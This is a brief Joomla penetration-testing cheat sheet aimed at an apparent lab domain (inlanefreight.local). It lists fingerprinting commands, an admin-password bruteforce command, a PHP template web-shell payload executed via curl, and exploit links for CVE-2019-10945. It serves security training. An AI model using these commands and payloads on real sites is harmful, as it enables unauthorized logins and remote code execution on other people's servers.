srl
Joomla
Introduction CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more. Written in PHP and uses MySQL in the backend. Joomla Discovery/Footprinting Command Description droopescan scan joomla --url http://dev.inlanefreight.local Enumeration via droopescan python2.7 joomlascan.py -u http://dev.inlanefreight.local Enumeration via joomlascan.py curl -s http://dev.inlanefreight.local/ | grep Joomla Check Webpage Source curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - Some Joomla versions may be fingerprinted from this file Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xml The cache.xml file can give out an approximate version of Joomla Browse to http://dev.inlanefreight.local/media/system/js/ Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder Browse to http://blog.inlanefreight.local/robots.txt Check for references to Joomla Browse to http://dev.inlanefreight.local/README.txt Check the README file to look for references to Joomla Joomla Users and Login Bruteforcing Administrator account:
The default administrator account is admin, but the password is set at install time You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin Joomla Known Vulnerabilities PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account] The basic idea is to add PHP code inside a template Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload: system($_GET['cmd']); curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id Joomla 3.9.4 directory traversal CVE-2019-10945 Exploit 1: https://www.exploit-db.com/exploits/46710 Exploit 2: https://github.com/dpgg101/CVE-2019-10945